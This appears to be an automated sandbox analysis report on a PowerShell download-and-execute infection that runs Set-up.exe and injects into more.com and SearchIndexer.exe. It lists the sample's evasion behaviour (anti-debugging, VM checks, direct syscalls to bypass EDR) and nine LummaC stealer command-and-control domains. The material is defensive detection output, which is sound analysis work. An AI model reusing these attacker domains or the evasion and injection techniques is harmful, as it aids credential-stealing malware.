Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CHM\XMBOAWNYC\StrCmp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	API/Special instruction interceptor: Address: 6C377C44
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	API/Special instruction interceptor: Address: 6C377945
Source: C:\Windows\SysWOW64\more.com	API/Special instruction interceptor: Address: 6C373B54
Source: C:\Windows\SysWOW64\SearchIndexer.exe	API/Special instruction interceptor: Address: 9DDC57

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3416	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6460	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 428	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\starksoft.aspen.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.SimpleIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Core.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MaterialDesignThemes.Wpf.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Modern.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.Themes.Aero.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Octicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.RPGAwesome.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.EvaIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Material.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MaterialDesignColors.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.ShellExtensions.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Microns.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Entypo.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.RadixIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Fontisto.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.Shell.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.Sensors.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.MaterialDesign.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Zondicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Unicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.Themes.VS2010.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.PicolIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Newtonsoft.Json.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Coolicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Fontaudio.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.Toolkit.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Ionicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.PixelartIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Codicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.BootstrapIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.RemixIcon.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\System.CodeDom.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.FontAwesome.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Typicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.FeatherIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.FileIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.WeatherIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.ExtendedLinguisticServices.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.JamIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.VaadinIcons.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\cdbwxlpdlbk	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.Themes.Metro.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.MaterialLight.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.ForkAwesome.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.BoxIcons.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_4-1509

Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	API coverage: 0.0 %
Source: C:\Users\user\AppData\Roaming\CHM\XMBOAWNYC\StrCmp.exe	API coverage: 0.4 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1320

Thread sleep time: -11990383647911201s >= -30000s

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: *VMware, https://myvmware.workspaceair.com/+
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: QEMU, https://wiki.qemu.org/Logo
Source: SearchIndexer.exe, 00000009.00000002.2785914106.000000000488F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noreply@vmware.com0
Source: SearchIndexer.exe, 00000009.00000002.2785914106.000000000488F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: QEMU, https://wiki.qemu.org/LogoC
Source: SearchIndexer.exe, 00000009.00000002.2785914106.000000000488F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1!0
Source: powershell.exe, 00000000.00000002.2479000676.000001D8F1C4B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: SearchIndexer.exe, 00000009.00000002.2785914106.000000000488F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0/
Source: SearchIndexer.exe, 00000009.00000002.2785914106.000000000488F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1
Source: Set-up.exe, 00000004.00000002.2572681695.000000006CC08000.00000008.00000001.01000000.0000000A.sdmp	Binary or memory string: l.?AVQEmulationPaintuser@@
Source: SearchIndexer.exe, 00000009.00000002.2785914106.000000000488F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.0
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: *VMware, https://myvmware.workspaceair.com/
Source: Set-up.exe, 00000004.00000002.2572681695.000000006CC08000.00000008.00000001.01000000.0000000A.sdmp, WebUI.dll.0.dr	Binary or memory string: .?AVQEmulationPaintuser@@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\SearchIndexer.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe

Code function: 4_2_6C99B4E4 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

4_2_6C99B4E4

Source: C:\Windows\SysWOW64\SearchIndexer.exe

Code function: 9_2_04848608 mov eax, dword ptr fs:[00000030h]

9_2_04848608

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe

Code function: 4_2_6C99B4E4 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

4_2_6C99B4E4

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: de7s.txt.ps1, type: SAMPLE
Source: Yara match	File source: amsi64_6232.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6232, type: MEMORYSTR

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	NtProtectVirtualMemory: Direct from: 0x6C302AE7	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	NtQuerySystemInformation: Direct from: 0x6C4F3C2B	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	NtQuerySystemInformation: Direct from: 0x6C302CFA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	NtProtectVirtualMemory: Direct from: 0x77377B2E	Jump to behavior

LummaC encrypted strings found

Source: more.com, 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: caffegclasiqwp.shop
Source: more.com, 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: stamppreewntnq.shop
Source: more.com, 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: stagedchheiqwo.shop
Source: more.com, 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: millyscroqwp.shop
Source: more.com, 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: evoliutwoqm.shop
Source: more.com, 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: condedqpwqm.shop
Source: more.com, 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: traineiwnqo.shop
Source: more.com, 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: locatedblsoqp.shop
Source: more.com, 00000007.00000002.2751487794.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bassicnuadnwi.shop

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: NULL target: C:\Windows\SysWOW64\more.com protection: read write			Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: NULL target: C:\Windows\SysWOW64\SearchIndexer.exe protection: read write			Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\SysWOW64\SearchIndexer.exe base: 9DB300	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\SysWOW64\SearchIndexer.exe base: 4AE008	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\SysWOW64\SearchIndexer.exe base: 110000	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\file\Set-up.exe "C:\Users\user\AppData\Local\Temp\file\Set-up.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Process created: C:\Users\user\AppData\Roaming\CHM\XMBOAWNYC\StrCmp.exe C:\Users\user\AppData\Roaming\CHM\XMBOAWNYC\StrCmp.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\SearchIndexer.exe C:\Windows\SysWOW64\SearchIndexer.exe	Jump to behavior

Source: Set-up.exe, 00000004.00000000.2440781515.0000000000401000.00000020.00000001.01000000.00000009.sdmp

Binary or memory string: ProgmanU

